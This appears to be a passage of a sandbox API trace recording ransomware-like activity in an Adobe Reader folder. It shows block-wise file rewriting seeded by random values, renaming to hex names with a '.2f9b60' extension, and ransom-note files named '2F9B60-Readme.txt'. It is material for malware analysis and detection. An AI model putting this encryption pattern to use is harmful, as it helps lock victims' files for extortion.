[0201.532] sprintf (in: _Dest=0x4205bd42, _Format="%c%c" | out: _Dest="f5") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd44, _Format="%c%c" | out: _Dest="5b") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd46, _Format="%c%c" | out: _Dest="d5") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd48, _Format="%c%c" | out: _Dest="c4") returned 2 [0201.532] sprintf (in: _Dest=0x4205bd4a, _Format="%c%c" | out: _Dest="ad") returned 2 [0201.532] RtlInitAnsiString (in: DestinationString=0x350ef7c8, SourceString="cd1af9c59cc8ad22f5f55bd5c4ad" | out: DestinationString="cd1af9c59cc8ad22f5f55bd5c4ad") [0201.532] RtlAnsiStringToUnicodeString (in: DestinationString=0x350ef798, SourceString="cd1af9c59cc8ad22f5f55bd5c4ad", AllocateDestinationString=1 | out: DestinationString="cd1af9c59cc8ad22f5f55bd5c4ad") returned 0x0 [0201.532] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1ce5c420 [0201.533] wcscat (in: _Dest=0x43107650, _Source="cd1af9c" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c" [0201.533] wcscat (in: _Dest=0x43107650, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c.2f9b60" [0201.533] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c.2f9b60", NtPathName=0x350ef770, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\cd1af9c.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0201.533] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9c) returned 0x431a74e0 [0209.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431a74e0) returned 1 [0209.595] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43209f70) returned 1 [0209.595] NtQueryInformationFile (in: FileHandle=0x1e58, IoStatusBlock=0x350ef7d8, FileInformation=0x350ef7e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x350ef7d8, FileInformation=0x350ef7e8) returned 0x0 [0209.595] NtSetInformationFile (FileHandle=0x1e58, IoStatusBlock=0x350ef7d8, FileInformation=0x350ef7e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0216.734] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43107650) returned 1 [0216.736] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5c420) returned 1 [0216.736] FlushFileBuffers (hFile=0x1e58) returned 1 [0221.388] CloseHandle (hObject=0x1e58) returned 1 [0222.846] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x86) returned 0x202a4380 [0222.847] wcscpy (in: _Dest=0x202a4380, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0222.847] wcscat (in: _Dest=0x202a4380, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" [0222.847] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\2f9b60-readme.txt")) returned 0x20 [0222.847] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4380) returned 1 [0222.848] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec10) returned 1 Thread: id = 2056 os_tid = 0x1320 [0137.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x76) returned 0x42060d30 [0137.996] wcscpy (in: _Dest=0x42060d30, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0137.996] wcscat (in: _Dest=0x42060d30, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0137.996] wcscat (in: _Dest=0x42060d30, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*" [0137.996] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd61b80 [0137.996] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\*", lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ced60a0 [0137.997] wcscmp (_String1=".", _String2=".") returned 0 [0137.997] FindNextFileW (in: hFindFile=0x1ced60a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x820095e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x820095e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x820095e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0137.997] wcscmp (_String1="..", _String2=".") returned 1 [0137.997] wcscmp (_String1="..", _String2="..") returned 0 [0137.997] FindNextFileW (in: hFindFile=0x1ced60a0, lpFindFileData=0x1cd61b80 | out: lpFindFileData=0x1cd61b80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x101bc5, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEXShare.spi", cAlternateFileName="")) returned 1 [0137.997] wcscmp (_String1="DEXShare.spi", _String2=".") returned 1 [0137.997] wcscmp (_String1="DEXShare.spi", _String2="..") returned 1 [0137.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x202b1eb0 [0137.997] wcscpy (in: _Dest=0x202b1eb0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services" [0137.997] wcscat (in: _Dest=0x202b1eb0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0137.997] wcscat (in: _Dest=0x202b1eb0, _Source="DEXShare.spi" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" [0151.731] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi")) returned 0x20 [0151.757] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi", dwFileAttributes=0x20) returned 1 [0151.758] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\DEXShare.spi" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\dexshare.spi"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2584 [0151.758] GetFileSizeEx (in: hFile=0x2584, lpFileSize=0x3504fd60 | out: lpFileSize=0x3504fd60*=1055685) returned 1 [0151.758] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x101bc1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.758] ReadFile (in: hFile=0x2584, lpBuffer=0x3504fce0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3504fd28, lpOverlapped=0x0 | out: lpBuffer=0x3504fce0*, lpNumberOfBytesRead=0x3504fd28*=0x4, lpOverlapped=0x0) returned 1 [0151.805] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.805] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204ffea0 [0151.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500080 [0151.806] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500110 [0151.806] NtQuerySystemTime (in: CurrentTime=0x3504fc20 | out: CurrentTime=0x3504fc20*=132462177570214000) returned 0x0 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x70218cd4 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x732806bc [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6a37e55b [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x50afd962 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x28d876e4 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x638aac2b [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x4a255746 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x53b79339 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x40b6aa47 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0xf183494 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x4a13e3a8 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x506dee80 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x35bd9087 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x31712875 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x7bdf46bc [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x231c4154 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x135c894 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x15facec9 [0151.806] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6fc2b2a4 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6acda9f8 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x48ccbaa8 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x1c979fa7 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x745d759e [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x1985e521 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x5ac11702 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x6f9d3a65 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x1d17a5b6 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x3bf62806 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x97c3720 [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x8e435ae [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x379e55bb [0151.807] RtlRandomEx (in: Seed=0x3504fc10 | out: Seed=0x3504fc10) returned 0x26f1e49a [0151.816] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500140 [0151.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868340 [0151.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500170 [0151.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868340) returned 1 [0151.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500110) returned 1 [0151.817] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204ffea0) returned 1 [0151.817] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x4255f1d0 [0151.818] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.818] ReadFile (in: hFile=0x2584, lpBuffer=0x4255f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x4255f1d0*, lpNumberOfBytesRead=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0151.849] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0151.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058a10 [0151.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0151.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500260 [0151.849] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500260) returned 1 [0151.849] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42575d20 [0151.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500260 [0151.850] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20500290 [0151.850] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500290) returned 1 [0151.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0151.851] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058a10) returned 1 [0151.851] WriteFile (hFile=0x2584, lpBuffer=0x42575d20, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3504fc80, lpOverlapped=0x0) [0186.415] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42575d20) returned 1 [0186.415] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.415] ReadFile (in: hFile=0x2584, lpBuffer=0x4255f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x4255f1d0*, lpNumberOfBytesRead=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0187.242] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x83400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0187.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0187.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307b80 [0187.242] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd50 [0187.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbd50) returned 1 [0187.243] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a2de0 [0187.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbd50 [0187.244] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddbe40 [0187.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddbe40) returned 1 [0187.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307b80) returned 1 [0187.245] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0187.245] WriteFile (in: hFile=0x2584, lpBuffer=0x424a2de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x424a2de0*, lpNumberOfBytesWritten=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0199.254] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a2de0) returned 1 [0199.254] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0xfdfc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.255] ReadFile (in: hFile=0x2584, lpBuffer=0x4255f1d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x4255f1d0*, lpNumberOfBytesRead=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0199.257] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0xfdfc5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0199.257] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c8a0 [0199.258] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868dc0 [0199.259] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0199.260] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202668a0) returned 1 [0199.260] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x424a2de0 [0199.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202668a0 [0199.261] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266ae0 [0199.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266ae0) returned 1 [0199.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868dc0) returned 1 [0199.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c8a0) returned 1 [0199.262] WriteFile (in: hFile=0x2584, lpBuffer=0x424a2de0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3504fc80, lpOverlapped=0x0 | out: lpBuffer=0x424a2de0*, lpNumberOfBytesWritten=0x3504fc80*=0x3c00, lpOverlapped=0x0) returned 1 [0209.988] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x424a2de0) returned 1 [0209.988] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x430e9ec0 [0209.989] SetFilePointerEx (in: hFile=0x2584, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0209.989] WriteFile (in: hFile=0x2584, lpBuffer=0x134680*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x3504fd30, lpOverlapped=0x0 | out: lpBuffer=0x134680*, lpNumberOfBytesWritten=0x3504fd30*=0x14a, lpOverlapped=0x0) returned 1 [0217.597] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0217.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceb9f60 [0217.598] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa10 [0217.599] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205aa10) returned 1 [0217.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82cfe0 [0217.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205aa10 [0217.599] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a9e0 [0217.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a9e0) returned 1 [0217.600] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceb9f60) returned 1 [0217.601] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0217.601] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc30 [0217.601] sprintf (in: _Dest=0x1cd9fc30, _Format="%c%c" | out: _Dest="2d") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc32, _Format="%c%c" | out: _Dest="63") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc34, _Format="%c%c" | out: _Dest="e3") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc36, _Format="%c%c" | out: _Dest="d2") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc38, _Format="%c%c" | out: _Dest="1a") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc3a, _Format="%c%c" | out: _Dest="fe") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc3c, _Format="%c%c" | out: _Dest="c2") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc3e, _Format="%c%c" | out: _Dest="44") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc40, _Format="%c%c" | out: _Dest="f7") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc42, _Format="%c%c" | out: _Dest="e2") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc44, _Format="%c%c" | out: _Dest="ac") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc46, _Format="%c%c" | out: _Dest="fc") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc48, _Format="%c%c" | out: _Dest="b1") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc4a, _Format="%c%c" | out: _Dest="79") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc4c, _Format="%c%c" | out: _Dest="59") returned 2 [0217.601] sprintf (in: _Dest=0x1cd9fc4e, _Format="%c%c" | out: _Dest="49") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc50, _Format="%c%c" | out: _Dest="20") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc52, _Format="%c%c" | out: _Dest="7e") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc54, _Format="%c%c" | out: _Dest="a1") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc56, _Format="%c%c" | out: _Dest="b8") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc58, _Format="%c%c" | out: _Dest="f2") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc5a, _Format="%c%c" | out: _Dest="2d") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc5c, _Format="%c%c" | out: _Dest="f8") returned 2 [0217.602] sprintf (in: _Dest=0x1cd9fc5e, _Format="%c%c" | out: _Dest="31") returned 2 [0217.602] RtlInitAnsiString (in: DestinationString=0x3504fda8, SourceString="2d63e3d21afec244f7e2acfcb1795949207ea1b8f22df831" | out: DestinationString="2d63e3d21afec244f7e2acfcb1795949207ea1b8f22df831") [0217.602] RtlAnsiStringToUnicodeString (in: DestinationString=0x3504fd78, SourceString="2d63e3d21afec244f7e2acfcb1795949207ea1b8f22df831", AllocateDestinationString=1 | out: DestinationString="2d63e3d21afec244f7e2acfcb1795949207ea1b8f22df831") returned 0x0 [0217.602] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x430e97c0 [0217.603] wcscat (in: _Dest=0x1ce183f0, _Source="2d63e3d21afe" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe" [0217.603] wcscat (in: _Dest=0x1ce183f0, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe.2f9b60" [0217.603] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe.2f9b60", NtPathName=0x3504fd50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2d63e3d21afe.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0217.603] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x4312b9e0 [0219.796] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b9e0) returned 1 [0219.797] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431b91c0) returned 1 [0219.797] NtQueryInformationFile (in: FileHandle=0x2584, IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8) returned 0x0 [0219.797] NtSetInformationFile (FileHandle=0x2584, IoStatusBlock=0x3504fdb8, FileInformation=0x3504fdc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0222.624] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce183f0) returned 1 [0222.625] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x430e97c0) returned 1 [0222.625] FlushFileBuffers (hFile=0x2584) returned 1 [0222.628] CloseHandle (hObject=0x2584) returned 1 [0223.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x431cb440 [0223.117] wcscpy (in: _Dest=0x431cb440, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\" [0223.118] wcscat (in: _Dest=0x431cb440, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt" [0223.118] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\2f9b60-readme.txt")) returned 0xffffffff [0223.118] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Services\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\services\\2f9b60-readme.txt"), 